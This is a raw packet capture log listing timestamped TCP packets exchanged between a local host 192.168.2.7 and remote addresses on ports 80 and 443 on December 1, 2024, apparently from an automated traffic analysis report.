Dec 1, 2024 03:32:58.258667946 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.259361982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.259533882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.259725094 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.260234118 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.260301113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.260715961 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.261063099 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.261179924 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.261236906 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.261898041 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.262022018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.262779951 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.262845039 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.262852907 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.262888908 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.263602972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.287538052 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.288083076 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.288094997 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.288563013 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.288567066 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.313112974 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.354384899 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.354453087 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.354578972 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.354865074 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.354883909 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.354921103 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.354928017 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.357840061 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.357897043 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.357973099 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.358226061 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.358242989 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.398119926 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.399070978 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.399105072 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.399522066 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.399529934 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.420712948 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.420870066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.420929909 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.421061039 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.421123028 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.421293020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.421461105 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.421474934 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.421480894 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.421859026 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.421866894 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.421992064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.422127008 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.422175884 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.422863007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.422995090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.423444986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.423713923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.423825979 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.423875093 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.424551010 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.424654007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.424724102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.425394058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.425501108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.426249981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.426306963 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.426340103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.426383018 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.427087069 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.427200079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.427728891 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.427970886 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.428064108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.428812027 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.428816080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.429013968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.429168940 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.429661036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.429754019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.429800034 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.430521965 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.430639029 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.430751085 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.431358099 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.431478024 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.431560040 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.432228088 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.432375908 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.432432890 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.433053970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.433162928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.433911085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.433959007 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.434015989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.434062004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.434824944 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.434879065 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.435635090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.435730934 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.435740948 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.435787916 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.436454058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.436573029 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.436661005 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.437305927 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.437422991 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.437479019 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.438169956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.438307047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.438848019 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.439009905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.439188957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.439245939 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.439858913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.439971924 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.440085888 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.440709114 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.440829039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.441112041 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.441577911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.441695929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.441783905 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.442430019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.442538977 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.442764044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.443252087 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.443371058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.443428040 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.444114923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.444226980 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.444319010 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.444964886 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.445084095 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.445818901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.445894003 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.445923090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.445977926 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.446671009 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.446768045 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.447513103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.447513103 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.447613955 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.447736979 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.448355913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.448467970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.448537111 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.449220896 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.449321985 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.449769974 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.450056076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.450177908 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.450906992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.450969934 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.451047897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.451123953 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.451786995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.451905012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.452476978 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.452645063 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.452747107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.453042030 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.454179049 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.454457998 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.454564095 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.454577923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.454621077 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.454648972 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.455354929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.455605030 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.455705881 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.456053019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.456172943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.456548929 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.457148075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.457361937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.457768917 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.457825899 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.457884073 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.457951069 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.458600044 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.458729982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.458828926 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.459412098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.459525108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.459592104 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.460277081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.460382938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.460447073 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.461123943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.461226940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.461273909 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.461977005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.462086916 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.462157011 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.462821007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.462958097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.463028908 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.463686943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.463865995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.463912010 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.464530945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.464651108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.464915991 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.465358019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.516264915 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.622075081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.622237921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.622319937 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.622572899 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.622710943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.622771978 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.623291016 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.623410940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.623461962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.624140024 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.624270916 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.624387026 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.624963045 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.625071049 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.625119925 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.625808001 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.625910997 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.625972986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.626655102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.626915932 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.627011061 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.627547026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.627598047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.627650976 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.628354073 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.628452063 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.628532887 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.629245996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.629348040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.629406929 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.630063057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.630175114 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.630218029 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.630923986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.631051064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.631114006 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.631758928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.631968021 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.632045984 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.632601976 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.632719994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.632790089 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.633459091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.633584023 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.633637905 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.634295940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.634407043 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.634458065 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.635153055 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.635255098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.635333061 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.636014938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.636116028 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.636183023 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.636873007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.636984110 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.637039900 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.637696981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.637806892 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.637891054 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.638572931 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.638734102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.638803959 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.639411926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.639530897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.639586926 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.640284061 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.640372992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.640419006 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.641119957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.641220093 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.641304016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.641968966 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.642076015 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.642137051 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.642815113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.642913103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.642959118 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.643677950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.643785954 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.643841028 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.644511938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.644628048 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.644675016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.645373106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.645468950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.645510912 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.646251917 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.646336079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.646383047 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.647099018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.647181034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.647232056 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.647981882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.648441076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.648500919 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.648804903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.648978949 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.649048090 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.649698973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.649804115 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.649874926 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.650487900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.650603056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.650671959 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.651325941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.651432037 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.651494980 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.652164936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.652297020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.652343035 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.653019905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.653137922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.653203964 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.654082060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.654274940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.654319048 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.654748917 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.654871941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.654925108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.655579090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.655704975 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.655791998 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.656428099 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.656606913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.656727076 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.657277107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.657377958 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.657421112 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.658250093 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.658400059 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.658453941 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.659037113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.659244061 CET	80	49783	185.215.113.16	192.168.2.7
